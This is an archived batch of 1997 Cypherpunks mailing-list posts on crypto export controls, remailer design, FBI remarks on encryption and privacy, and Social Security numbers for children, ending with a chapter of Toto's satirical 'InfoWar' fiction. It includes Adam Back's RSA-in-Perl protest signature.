> >You reference Ian Goldberg claiming to have to work on crypto during
> >trips to Canada.  I think he was just trying to make a political
> >point.  I submit that he could write and publish all the crypto he
> >wants in the US (on one of those "export controlled" sites).  It will
> >get illegally exported in no time at all.  Where's the problem?
> 
> That's easy for you to say, there in England.  You don't have these
> export controls, right?  

We have different export controls.  You can export what you want
electronically right now.  And, so I hear, the exporter is defined as
the person who downloads from your web site, so lots of hits from Iraq
is no problem.  Start to talk about tangible things and you require a
license.  You can get export licenses for strong crypto, 128 bit etc,
just the spooks like to know what's going on, who you're selling to
etc.  I think it probably depends who you're exporting to, etc, etc.
Ie I don't know that the results are publically published, nor reasons
for rejections, etc. so I don't really know how it works out in
practice.

Interestingly perhaps all the T-shirts with the .sig on them I have
been exporting to Russia, France, Peru, Brazil, etc. (could someone
from Iraq order one -- that'd be fun) are probably export violations
from the UK too.  I mean it has crypto on it, and it is tangible, and
I haven't asked for permission.  (I'm sure they would grant
permission, but I guess technically I'm supposed to ask them).

> How can you say what Ian Goldberg should do.  

Does do.  He wrote a loop back crypto driver for linux.  It's
available on the cypherpunks ftp site at berkeley.  It's also
available at the Italian crypto ftp site.  I was presuming he wrote it
in the US, as his instructions include a for export version with the
crypto chopped out and instructions on how to put it back in.

Anyway, let's see.  Other people write crypto code in the US.  They
set up a revolving directory or some other check.  MPJ had such a
site.  People do this with no legal problems, even Netscape does it
with US government official approval.

So clearly it's not illegal.

Anyway, for freeware crypto, it gets illegally exported (presumably by
third parties) and openly mirrored outside the US.  So where is the
problem that is holding up freeware crypto? 

Actually there are less direct problems, such as loss of interactive
collaboration from non-US contributors, etc.  But you see my point I
hope.

> >William Geiger has PGP on a non-export controlled site, and the export
> >bods haven't said a word, so it's not even clear that they care about
> >freeware at this point.
> 
> PGP is a special case because it is already out there everywhere.

So you're going to export it too?

> Still the example of Phil Zimmerman is a good one.  Even though he
> got away with it eventually, they showed how they can make your life
> hard.  Probably the only reason he didn't get charged was because
> they couldn't prove anything.  

I think it most likely that it was because it wouldn't have been in
their interests due to negative publicity, Zimmermann was a folk hero
by then.  Course nobody knows the official reason, not even Zimmermann
himself.  His lawyer knows, but the condition of knowing is not being
allowed to tell other people the reason, so PRZ chose not to know.

> Not many people are going to be willing to take that chance.
> William Geiger and a few others may be exceptions, but most people
> won't openly break a law which has strong penalties like this.

No?

This program is officially not exportable according to USG.  Prof
Peter Junger obtained a written decision stating this to be
non-exportable:

#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)

I've seen lots of people export it.  Actually the export rate has
picked up a bit since Junger obtained that excellent result.

> A lot of hackers thought they'd be heros but ended up doing time.
> Read that letter from Jim Bell if you want to see how different
> things look once the government comes down on you.

Really I agree.  Jim Bell is a different case, possibly more to do
with these common law courts he was apparently involved in, and
various IRS arguments, but perhaps also to do with his essays
describing betting pools to remove congress-critters.

I wasn't suggesting Ian should violate the export regulations.  Rather
that it's not a problem because interesting software invariably gets
exported anyway.  So let someone else do the exporting, or importing,
or whatever happens..

> But after all the opposition which came out, from practically every
> interest group there is, I am sure that there is no way domestic
> controls on crypto are going to pass.  

Could be.  Hope you're right.  The other less favourable example is
the phone tapping regs they bought in, and the clipper chip.  Clipper
chip was the classic, they all voted against it, so Klinton brought it
in as a government standard by presidential decree.

Adam
-- 
Now officially an EAR violation...
Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 26 Sep 1997 14:50:09 +0800
To: cypherpunks@toad.com
Subject: None
Message-ID: <38a7c6c7f7111726d6cad0ff9b382ef6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




All governments are built on lies.

All organizations are built on lies.



CM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 26 Sep 1997 15:10:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
Message-ID: <7e4f533938c10942e5d1ef49ca8e16da@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May wrote:
>At 2:58 PM -0700 9/25/97, Anonymous (sic) wrote:
>>The remailers should all have about the same latency.  0 seconds seems
>>like a good Schelling point.  What would it take to reduce remailer
>>latency to under 60 seconds for most of the remailers?  Do people need
>>old 486s to dedicate to the task?  Do they need money?  Better
>>software?
>>
>>If you operate a remailer, please tell us what you need to make it
>>really work well.  Perhaps the rest of us can help make it happen.
>
>Think about a zero latency. How would mixing then occur? How would the
>mapping between incoming and outcoming messages be obscured?
>
>Latency, per se, is of course not the key issue. Mixing is. 

It depends on your application.  Right now, it's hard to get messages
through the remailer network in good time *and* the security isn't all
that high.

Increased traffic would give us more options as far as mixing and the
like.  But increased traffic won't happen until we have usable
remailer network.  Right now it's sort of usable, but only for the
dedicated, and there aren't many of us.  I seem to be the only
persistent authenticated nym who posts with any frequency.

Tools which are not used do not get improved.

>* throwaway accounts, and yet with some robustness or reputation capital
>backing them

One problem with operating a nym is that people almost always respond
to it with suspicion and hostility, even on this list.  It would be
nice to have an ordinary looking e-mail address that took in messages,
encrypted them for your public key, and then sent them out to
alt.anonymous.messages for pickup.  Going the other way it would be
nice if the account would accept signed messages and send them out as
normal e-mail or news articles.  This would allow nyms to participate
in NetWorld like everyone else.

Note that this does not require one to trust the operator of the
machine - all they have is a public key and no information of your
identity.  This should be easy to set up.

>* increased traffic at all levels
>
>* a profit motive for remailers, using "digital postage" (though this may
>work against the second point, having more traffic)

If digital postage results in remailer operators making money, this
should increase the quality of the remailer network.  A high quality
remailer network should increase traffic.

Once we have a high quality high traffic remailer network which is
profitable (!!!), well, things could really start to cook.  A quarter
per message per hop seems reasonable at this time.  The annual revenue
hits a million dollars if a little over 10,000 messages a day are
handled by the network.  This figure does not seem unattainable.

Those who find a quarter is too much should start remailers.

This is a little off the wall, but if there was a significant market
for remailers, some organizations might start affinity remailers.
That is, if you like the ACLU you can give them money by routing your
messages through their remailer.  We tend to like the people we trust.

Another feature that would be nice would be to be able to define the
message id in advance.  Were this available it would be possible to
send a message to all three cypherpunks nodes simultaneously to
maximize its propagation and to ensure reliability.  Were this
supported for Usenet gateways, it would be possible to gate the list
through the remailers such that the person doing the gating would be
hard to identify.

Also, BCC fields would be nice.  I don't know a way to post a message
to the cypherpunks list and bcc: it at the same time to the coderpunks
list, but it would be real useful.  (The idea is to let people on
coderpunks know about a relevant topic, but keep it on the main list.)

>* more chaining tools for average users (on Windows and Macintosh machines,
>using standard mailers)

It's probably better to take the tools as far they will go for
ourselves and not worry too much about evangelizing right now.  Once
the core technologies are in place and are working reliably, we will
be in a stronger position to take things to The People, if it doesn't
happen of its own accord.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
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=Birf
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 26 Sep 1997 10:43:22 +0800
To: cypherpunks@toad.com
Subject: Re: Plea from a parent who wants to keep their kid free of SSNs
Message-ID: <199709260215.EAA23117@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan forwards us:

>---------- Forwarded message ----------
>Date: Tue, 23 Sep 1997 08:12:58 +0000
>From: "David C. Treibs" <sirdavid@ktc.com>
>To: "(David C. Treibs)" < (SirDavid@ktc.com)>
>Subject: Need Help with IRS Problems

[snip]

>Forcing Social Security Numbers on children represents a major violation
>of parents' God-given responsibility.

"And dang it, all the ones around here start with 666."

You have the right not to get SSNs for your kids. However, by doing that,
you give up the opportunity to slork a chunk of your money back out of the
U.S. Treasury. But hey, There Ain't No Such Thing As A Free Lunch.

Think of it as a Freedom Tithe. It probably pisses the Gub'mint off MORE
knowing that you'd rather pay than knuckle under. Of course, as the saying
goes: "once you pay Danegeld, you'll never get rid of the Dane."

Anyway, it doesn't matter for shit. Many records nowadays are also indexed
by name and date of birth, and they collect that stuff from everywhere.
They know who you are (had to file that birth certificate) and where you
live (property records and voter registration information). In the Land Of
The Freeh, your kids are already tagged, bagged, and waiting to be
fingerprinted and photographed.

Next step: ID transponders, so the cops can retroactively arrest 'em for
being in the vicinity when mayhem happened to occur. The only question is
whether it'll be the fascists on the Left (pushing the "make everything
safe for everyone" agenda) or the fascists on the Right (pushing the "get
tough on crime and damn everything else" agenda) who get the laws passed.
Either way, a little talc under that collar will keep it from chafing.

Ratbert






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 26 Sep 1997 14:23:59 +0800
To: David HM Spector <cypherpunks@cyberpass.net
Subject: Re: Chutzpah!  FBI Calls Privacy Extremists Elitist
In-Reply-To: <199709260354.XAA01881@wintermute.ny.zeitgeist.com>
Message-ID: <199709260542.XAA20750@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    and the worst part of it: the man is so far fucked that he is serious.

    the "man" must have been reprogrammed to forget _anything_ he learned
    about the inalienable rights of 'The Declaration of Independence' or
    the ringing words: "We the people, in order to forge a more perfect 
    union..." preamble of 'The United States Constitution'. 
    
    to stand before humanity, with a straight face and the audacity to
    state:

        "...raising rights for citizens to levels that were 
        unreasonable and that would have been foreign to 
        the nation's founding fathers."

    is beyond my ken --and cost me my lunch (just wiped off the
    screen...  forget the keyboard).

    where does our government hatch these asshole fascist police state 
    hacks?  Jefferson, Madison, Adams, Paine, etc. all practiced 
    cryptography, in fact Jefferson's thesis was considered 'elegent' for     
    almost 100 years.

    elitists, my ass! --just knowledgeable enough to know when we're 
    about to be fucked  --normally, I get kissed in this kind of 
    'bargain'.

 --
 "Experience keeps a dear school, but fools will learn in no other."     
        --Benjamin Franklin
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


on or about 970925:2354 
    David HM Spector <spector@zeitgeist.com> purported to have reported:

+FBI Calls Privacy Extremists Elitist
+(09/25/97; 4:30 p.m. EDT)
+By David Braun, TechWire 

+MONTREAL -- Extremist positions on electronic encryption are not only
+threatening to normal law enforcement, but they are also elitist and
+nondemocratic, said Alan McDonald, a senior counsel member with the
+Federal Bureau of Investigation, at the International Conference on
+Privacy in Montreal on Thursday.

+Addressing a workshop on how far society should go in trading off
+privacy for effective law enforcement, McDonald said privacy activists
+had fought any balance in proposed encryption legislation.

+"Such absolute positions threaten not only electronic searches but also
+conventional searches for data that has been encrypted," McDonald said.

+Absolute positions on privacy were "pernicious on several levels,"
+McDonald added.

+The absolute positions "handcuffed" law enforcement while also raising
+rights for citizens to levels that were unreasonable and that would
+have been foreign to the nation's founding fathers. Extreme privacy
+positions were ultimately elitist and nondemocratic in that they
+presumed the views of a knowing privacy cognoscenti should pre-empt the
+views of the nation's elected officials and the Supreme Court, McDonald
+said.

+McDonald's statements came a day after a key committee of the U.S.
+House of Representatives rejected an FBI-supported proposal that would
+have compelled the makers of encryption products to include features
+that would enable law enforcement agencies to gain immediate and, if
+necessary, covert access to unscramble any coded data.

+Extremists presumed that the citizens could not trust the elected
+government and the Supreme Court to make decisions or to correct
+mistakes if any are made, McDonald said.

+"Based on a theory of potential government abuse, important tools
+commonly used are to be restricted or embargoed," McDonald said.

+McDonald said efforts in the United States to enhance effective law
+enforcement search and seizure capabilities had proceeded without
+harming legitimate privacy concerns.

+In the area of electronic surveillance, McDonald said, privacy
+enhancements had frequently received treatment "superior to that
+required under our Constitution."

+With minor exceptions, neither the laws nor the cases decided regarding
+effective law enforcement or privacy had come about with the view that
+either were absolute in their nature, McDonald said. Law enforcement
+measures had been tempered by considerations of personal privacy, and
+privacy laws had been balanced with effective law enforcement.

+Notwithstanding the substantial threats posed by national and
+international organized crime, drug cartels, and terrorists, the United
+States had remained true to its Constitutional moorings, and its
+commitment to a system of ordered liberties, McDonald said.

+"When people don't know much about electronic surveillance, they are
+fearful of it. But when they know Congress passed laws and the Supreme
+Court reviewed them and that there are numerous constraints and
+procedures, then it makes sense to them. It seems rational and
+balanced," McDonald said.

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Charset: latin1
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VJSRTHfjDPdOwGNlx0Oe8l9NF8W21MUzL60Ag9Lq+0edHaoZYZSon3PDsR4v+51V
h/uNarOPGpGqlNnVKUHUzpVJc2BD0dt/6loYvC1hd0+1VkseBtY/3+v3MFpVTx03
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=pFY0
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Fri, 26 Sep 1997 20:08:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
In-Reply-To: <7e4f533938c10942e5d1ef49ca8e16da@anon.efga.org>
Message-ID: <3.0.3.32.19970926074513.03949b90@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 03:03 AM 9/26/97 -0400, Monty Cantsin wrote:
>Right now it's [the remailer network] sort of usable, but only for the
>dedicated, and there aren't many of us.  I seem to be the only
>persistent authenticated nym who posts with any frequency.
...
>One problem with operating a nym is that people almost always respond
>to it with suspicion and hostility, even on this list.  It would be
>nice to have an ordinary looking e-mail address that took in messages,
>encrypted them for your public key, and then sent them out to
>alt.anonymous.messages for pickup.  Going the other way it would be
>nice if the account would accept signed messages and send them out as
>normal e-mail or news articles.  This would allow nyms to participate
>in NetWorld like everyone else.

Your desired functionality seems to be describing the operation of a nym
server, which you are not using.  With a nym server, your email address
would be something like cantsin@anon.efga.org, rather than
anon@anon.efga.org.  You do not get this capability when you use the
Georgia Cracker remailer, you would have to use the Redneck Remailer
instead.  There are currently hundreds of ordinary looking email addresses
on our nym server.  While Monty Cantsin may be a pseudonym you post under,
it is not a "nym" in remailer network terms.  Once you get a nym you can
also receive replies anonymously.

More information about how to get a nym can be found at
http://anon.efga.org/anon


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David HM Spector <spector@zeitgeist.com>
Date: Fri, 26 Sep 1997 21:05:29 +0800
To: Martin Minow <minow@apple.com>
Subject: Re: Chutzpah! FBI Calls Privacy Extremists Elitist
In-Reply-To: <v03102801b05110c4e302@[17.219.103.63]>
Message-ID: <199709261237.IAA05968@wintermute.ny.zeitgeist.com>
MIME-Version: 1.0
Content-Type: text/plain



Re: Pi.... 

I believe the enlightened Legislator who attempted to legislate Pi was
none other than Jesse Helms (although this could be a legislative
myth!) and when Ol'Jesse proposed it (because he was "sick of all these
egg-heads with their big numbers") John Glenn said something on the
order of ' if your legislation passes Senator, I wouldn't want to
driver over any bridges in your state!'

But more to the point, this is more of the divide and conquer strategy
that worked so well for the Reagan-era republicans.  Ridicule what you
wish to destroy, give no quarter to other opinion, and repeat a lie so
often that it becomes the truth.  Nothing new here.  "We" just have
yet to get organized enough to use the same tactic in return and for
the moment Freeh & Co. have much more reliable and regular access to
the mainstream press who are willing to print whatever they say.


What we need, really, is a good advertising agency...


_DHMS


-- 
-------------------------------------------------------------------------------
David HM Spector                                         spector@zeitgeist.com
Network Design & Infrastructure Security                 voice: +1 212.580.7193
Amateur Radio: W2DHM (ex-N2BCA) (ARRL life member)       GridSquare: FN30AS
-.-. --- -. -. . -.-. -  .-- .. - ....  .- -- .- - . ..- .-.  .-. .- -.. .. ---
"New and stirring things are belittled because if they are not belittled, 
the humiliating question arises, 'Why then are you not taking part in them?'"
                                                        --H. G. Wells





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 26 Sep 1997 23:21:23 +0800
To: cypherpunks@toad.com
Subject: InfoWar 22 (Part III of 'The True Story of the InterNet')
Message-ID: <342BCBC0.4F76@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Forever Young 


Forever Young


Alexis and Jonathan were resting in each other's arms on the couch
by the old oak table, and quietly discussing the wide variety
of posts to the CypherPunks mailing lists in the wake of the House
Commerce Committee's defeat of the Oxley amendment to the SAFE
bill and their approval of the Markey-White amendment, instead.

"It seems strange that the our future destiny is so deeply
intertwined with events that happened over a century ago."
Alexis said.
"It seems even stranger," she continued, "that
our past is being transmogrified through the InformEnergy we are
exchanging with that era through the Trei Transponder."

"Not to mention the present..." Jonathan added,
showing her the post he had just pulled up on the GraphiScreen
behind them.

Subject: FWD: Dear Representative Oxley
From: Anthony Garcia <agarcia@Starbase.NeoSoft.COM>

To: cypherpunks@Algebra.COM
 
For what it's worth. -Anthony

Date: Wed, 24 Sep 1997 17:47:37 -0500 (CDT)
From: Anthony Garcia <agarcia@Starbase.NeoSoft.COM>
To: Mike.Oxley@mail.house.gov
 Subject: Dear Representative Oxley

At this time, it looks like your ignorant, anti-Constitutional

amendment to the Safety And Freedom through Encryption Act will
be
passed by the Commerce Committee. This legislation may go on to

be passed by Congress and signed into law by the President.

In case this occurs, I would like you to make note of my home

address and telephone number. They are:
Anthony Garcia
[address & phone elided for broadcast on cypherpunks list]


If I move to a new address in the future, I will update you.

I telling you this because I fully intend to willfully break

your stupid law exactly 1 minute after the moment it goes into

effect on January 1st, 1999.

I will:
- Manufacture an encryption product that does not support key

escrow (I will compile source code for encryption software
which does not support key escrow.)
- Offer to sell that encryption product to any takers for
the sum of $1.
- Offer that encryption product for free to the public via FTP
or HTTP
file transfer over the Internet.
- Import an encryption software product which does not support

key escrow by means of file transfer over the Internet from 
a foreign source.

So, get ready to arrest me, Big Mike. Get out your old FBI
shield and
shine it up, because I AM GOING TO BREAK YOUR LAW. GOT IT?

Sincerely,
-Anthony Garcia
agarcia@neosoft.com

P.S. When you have some free time, look up a document known
as the
"Bill of Rights", and review the sections titled "First
Amendment" and
"Fourth Amendment".

Alexis gazed at the post with interest, but seemed mystified
as to what import it had for the Magic Circle's present situation.

"I don't remember seeing this post in the archives we
went over yesterday, but it certainly doesn't to seem unusual
for the CypherPunks list."

"It wasn't in the mailing list archives yesterday."
Jonathan told her, waiting for the import of what he was saying
to begin sinking in, as evidenced by Alexis's ever-widening eyes,
before continuing.
"All of the posts that were in the archive yesterday
are either nonexistent, or changed, when compared to emails we're
pulling from A Player To Be Named Later's digital implant through
the Trei Transponder."

Bubba and Priscilla walked up, hand in hand, joining in the conversation.

"If you check the archives you will find," Bubba
said solemnly, "that the Oxley amendment to the SAFE bill
passed on September 14, 1997."
After taking a sharp elbow to the ribs, Bubba added, grinning,
"We have Priscilla to thank for pointing out this most
interesting anomaly in the fabric of history, as we seem to currently
be experiencing it."

"Bubba told me I was confused." Priscilla said,
gloating at her correcting of the Magic Circle's most prestigious
purveyor of ancient history.
"He said that I must have read in the CypherPunks list
archives about the Oxley amendment being passed at a later
date, since it had been one of the turning points in history in
the battle for control of the InterNet. I told the old fart,"
Priscilla said, as Bubba now nudged her in the ribs,
"to...'check the archives.'" 
Jonathan and Alexis laughed at her imitation of Tim May, circa.
1990's.

"Nuke DC!" the Cowboy approached, waving
a handful of freshly printed posts from their current subscription
to the CypherPunks mailing list of a century earlier.
The Cowboy had resurrected some old printers that Melissa had
smuggled out to him from the closely guarded Museum of Antiquities.
d'Shauneaux had brought them back from one of his midnight meetings
with her the previous week.

Subject: Re: SAFE = Security and Fascism through Escrow

Date: Thu, 25 Sep 1997 10:00:06 -0400 (EDT)
From: Ray Arachelian <sunder@brainlink.com>
To: cypherpunks@Algebra.COM

On Wed, 24 Sep 1997, Tim May wrote:
> As our Big Brothers in D.C. continue to abuse the language
by taking SAFE
> in a direction 180 degrees from the original intentions,
it seems only fair
> that we rename the bill the Security and Fascism through
Escrow Bill.

Erm, Tim you've somehow managed to misspell SODOMY.  There's no
securiy in
SAFE, by definition, it's a security hole through which the citizens
get
sodomized.

==============================Kaos=Keraunos=Kybernetos==================

.+.^.+.    |  Ray Arachelian                         |Prying open
my 3rd eye.  So good to see |./|\.
..\|/..       |sunder@sundernet.com             |you once again.
I thought you were      |/\|/\
<--*-->  | ------------------                          
   |hiding, and you thought that I had run  |\/|\/
../|\..       | "A toast to Odin,                       |away
chasing the tail of dogma. I opened|.\|/.
.+.v.+   .|God of screwdrivers"                 |my eye and
there we were....            |.....
======================= http://www.sundernet.com ==========================



The Cowboy announced, grandly, "There is no record in
the archives which shows any indication that the SAFE bill became
generally known on the CypherPunks list as the 'Sodomy And Fascism
through Encryption' bill, as now seem to be happening."

The Cowboy showed the group a color printout of the new SAFE T-shirt
being produced by Adam Back, with a Swastika and the word 'SAFE'
composed of a series of toilet plungers.
"Bill Stewart suggested to Adam that it be a 'scratch
and sniff' T-shirt, but Back pointed out to him that SAFE was
already beginning to smell bad to an increasing number of people,
anyway."

The small group shared a chuckle or two, as the Cowboy continued.

"In addition to the challenge issued to Oxley by Anthony
Garcia, and the posts by May and Arachelian, which didn't exist
in our recent previous past...if that makes sense...I have
found that even the posts that do exist in the archives
are not the same as the ones we are currently receiving from that
same point in time.
"There has been a subtle quantum shift in the tone and direction
of the posts to the CypherPunks list, as well as to the rest of
the history surrounding the InterNet during that crucial nadir
point in the InterNet's evolution."


The Cowboy pulled out a bottle of Jim Beam and passed it around
the table...an indication that he was about to drop a bombshell
on his compatriots. After everyone had downed a stiff shot of
the ice-cold bourbon, he asked, "What did we all agree
were two serious errors in Chapter 20 of 'InfoWar.'" he
asked the others.

Alexis was the first to speak.
"Well, in general, we agreed that it was a ridiculously
overdone parody of a conspiracy theory worthy of ? the Lunatic's
deranged mind."

"In specific," Jonathan added, as the group laughed,
once again, "attributing the chapter as being written
by Bill Gates, wherein the man purportedly connects himself to
one of the sleaziest maneuvers in the history of the perversion
of democracy and justice, then proceeding to make it look as if
he had cowardly submitted to blackmail by the anonymous post that
linked him to the original Indio gathering of weapons dealers,
as well as the thinly veiled threat of violence to 'a billionaire
to be named later.'
"Not even the most unbalanced of the CypherPunks list members
was likely to fail to see this as a shallow attempt at smearing
Gates by making it look as if he had taken up the challenge that
? the Lunatic had sent anonymously through the TruthMailer as
A. Fiend, to write his own chapter of 'InfoWar,' revealing some
dark secret from his past, and asking him to provide some real,
but improbable evidence of his authorship by making reference
to some future event, based on his own inside information."

The group nodded in agreement with this statement by Jonathan,
and then Alexis brought up the second major inanity the group
had found in the 'InfoWar' chapter titled, 'A Billionaire To Be
Named Later.'

"We agreed that it was a pretty wild stretch to intimate
that an LMBoyd sampler sent out two months before was a veiled
message from the Circle of Eunuchs to the Internet Content Coalition
warning them of a serial killer/mass murderer from the north,
where ? the Lunatic and polar bears live.
"Although the timing of the mentioned email was
rather synchronous with the Coalition's agenda..."

The Cowboy broke into a wide smile, asking the others,  "Did
anyone happen to read the LMBoyd sampler for July 25, 1997?"

The others looked at one another questioningly, each nodding
negatively.

The Cowboy lay a post in front of the group, which they proceeded
to read with amazement.

Subject: Sampler: September 25
Date: Thu, 25 Sep 1997 00:15:01 -0700
From: sampler-request@lmboyd.com
To: multiple recipients of <sampler@lmboyd.com>
======================================================

Tennis players might quote Shakespeare's Henry VI: "O

monstrous fault!" Basketball players, Henry V: "Hear
the
shrill whistle." Bowlers, The Tempest: "Mercy on us,
we
split." Golfers, King John: "Give me an iron."
Baseball
players, Othello: "You did bid me steal." Hockey
players,
A Midsummer Night's Dream: "Gentle Puck, come hither."

Great horned owls lay round eggs.

Did the Eskimo of old believe in God?
 A. They did. They thought God, the Supreme
Environmentalist, created polar bears to prevent humans
from over-multiplying. So they wouldn't eat up everything

in one season.
==============================================
LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email

http://www.LMBoyd.com/postscript.htm


"This was sent out after chapter 20 of 'InfoWar'
had been sent to the CypherPunks list." Bubba commented.

After checking the date and time that chapter 20 had been sent,
he said, sounding even more perplexed and amazed, "A little
more than a single hour afterward."

The Cowboy let each of them  read the post, once again, to confirm
for themselves what secrets it revealed.

"Fucking unbelievable!" Jonathan exclaimed.
"The 'A Billionaire To Be Named Later' chapter is not
only followed shortly thereafter by a completely unrelated item
which contains not only a confirmation of the claim of Circle
of Eunuchs involvement in the LMBoyd web site, but even expands
on it, by adding the reference to hockey players, such
as the Author, as well as a repetition of the theme wherein polar
bears hunt and consume humans."

"And adding a reference to 'horned owls' dropping 'round
eggs'?" Alexis noted, looking at the others for confirmation
she wasn't imagining things.
"Nukes?"

Bubba Rom Dos, poet and philosopher, also pointed out that the
LMBoyd sampler began with a reference to Shakespeare, and that
the last quote attributed to A Player To Be Named Later in the
chapter attributed to Gates was a reference to Shakespeare being
a member of the Magic Circle-a distinct impossibility.
"Thus, the author of chapter 20 could only have been using
that analogy to set up the confirmation by the later LMBoyd sampler
that the Circle of Eunuchs was involved in the use of the
samplers to pass messages.

Jonathan asked the question that everyone was now rolling over
in their mind.
"What does this do to our other conclusion, that
the chapter was not authored by 'Bad BillyG,' himself?"

The Cowboy sat down and knocked back another shot of Jim Beam,
as the Trei Transponder began to quietly hum in the background.
It was causing something tucked away in the back of the Cowboy's
mind to begin resonating, and he struggled to bring it to the
forefront of his consciousness where it could be examined in the
light of reason...

"A Player To Be Named Later had no connection to the LMBoyd
web site." the Cowboy stated emphatically, surprising
the others, who were lost in their own contemplation.

The Cowboy looked at each of the others, in turn, and announced,
"But Gates did!"


A Player To Be Named Later lay on his bed, Baby lying by his side
and looking up quizzically at him, wondering about the soft humming
noise coming from her friend's head. He reached down and stroked
her on the back of the neck, saying,
"Modern technology, Baby. Someday I'll get you a digital
implant, too, so that you can bark at the doggies of the future."

He laughed and rose to get Baby a bowl of milk.

BillyG had done his homework, that much was certain. And the man
had added some personal touches to chapter 20 of 'InfoWar' that
would have done justice to even the most diabolically astute members
of the legendarily insane conspiracy of the slippery, esoteric--and
definitely mythical--Circle of Eunuchs.

He had immediately noticed BillyG's reference to the Shakespeare
line from the first sentence of the last chapter of "The
Xenix Chainsaw Massacre." Having the quote, "And one
man, in his time, plays many parts." spoken by A Player To
Be Named Later was an obvious implication that he and the Author
were one and the same person. Keeping the 'true identity' of the
Author 'in play,' as Bubba called it, was a Circle of Eunuchs
tradition.

As well, the last chapter of TXCSM, titled 'it ain't over 'till
it's over,' contained a reference to the "He who shits on
the Road will meet flies on his return." quote, which was
a usual part of the TruthMailer header, but was not included
in the TruthMailer email which had originally challenged BillyG
to write a chapter for 'InfoWar.'
That TXCSM chapter also made reference to Pearl Harbor Computers
motto, "We've been bombed since 1941.", which meant
that the Magic Circle had been brought full circle to closure
by the veiled reference to the nuclear bomb in the follow-up LMBoyd
sampler which served to confirm the details of the chapter 20
reference to a previous LMBoyd sampler.

"And the ending of the second sampler," he told
Baby, who was listening intently, "with a direct
reference to the polar bears mentioned in the one from two months
before...a fucking classic in-your-face Circle of Eunuchs
maneuver that says everything and proves nothing!"

The timing of the confirmation post was likewise a classic maneuver.
Anyone who went to the trouble of checking the timing of chapter
20 and the following LMBoyd sampler could easily miscalculate
different time zones involved and come to the conclusion that
it was a clever ruse, but those who were familiar with headers
and time zone references in InterNet processing would know beyond
doubt that chapter 20 had been submitted to the list previous
to the release of the LMBoyd sampler.

The Coupe de Gras, of course, was that chapter 21 of 'InfoWar,'
which was titled 'Lying Fucking Nazi Cunt Sex Criminal,' and which
had its authorship attributed to the President, quoted another
email which had been posted to the CypherPunks list before the
House Commerce Committee's meeting on the Oxley amendment to SAFE,
as well as sent to over a hundred Congressmen and Senators, and
which alluded to an argument that would be raised during the closed
meeting-a fact which would be later confirmed by those in attendance.

The chapter itself intimated that this precognition of a later
event might be attributable to guessing the probable from previously
available information, even if it was a bold long-shot, but anyone
who understood the full import of the reference to the 'Forever
Young' Eternity Server and the demise of the Huge Cajones remailer
would know beyond doubt that the author of chapter 21 had access
to information that came from deep within the walls of the Whitehouse.

The ending of chapter 21 with the reference to the coming assault
on Intel might be viewed as information that could have leaked
out before chapter 21 was written, but anyone who reread the passage
a month or so in the future would see the reality of what was
being implied in the description of the true agenda of 'total
information control' being pursued by the dark powers within the
Whitehouse and the government intelligence agencies pulling the
President's strings.

"Two perfect chapters, Baby." A Player
To Be Named Later knocked back a shot of Scotch and rolled himself
a cigarette.

"Anybody who checks the true facts involved in their creation
and distribution will prove to themselves, beyond all doubt, that
their authorship and their wild-eyed claims are exactly what the
manuscript purports them to be."
He laughed and threw Baby a chocolate chip cookie in appreciation
of her rapt attention to his maniacal monologue, and gave her
a conspiratorial wink.

"Yet," he continued, "just let them try
to tell someone else of their discovery...they will find them
self running from the men with the butterfly nets, in short order."

"But," A Player To Be Named Later continued,
laughing diabolically, "they ain't seen nothing, yet!"


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 26 Sep 1997 23:27:14 +0800
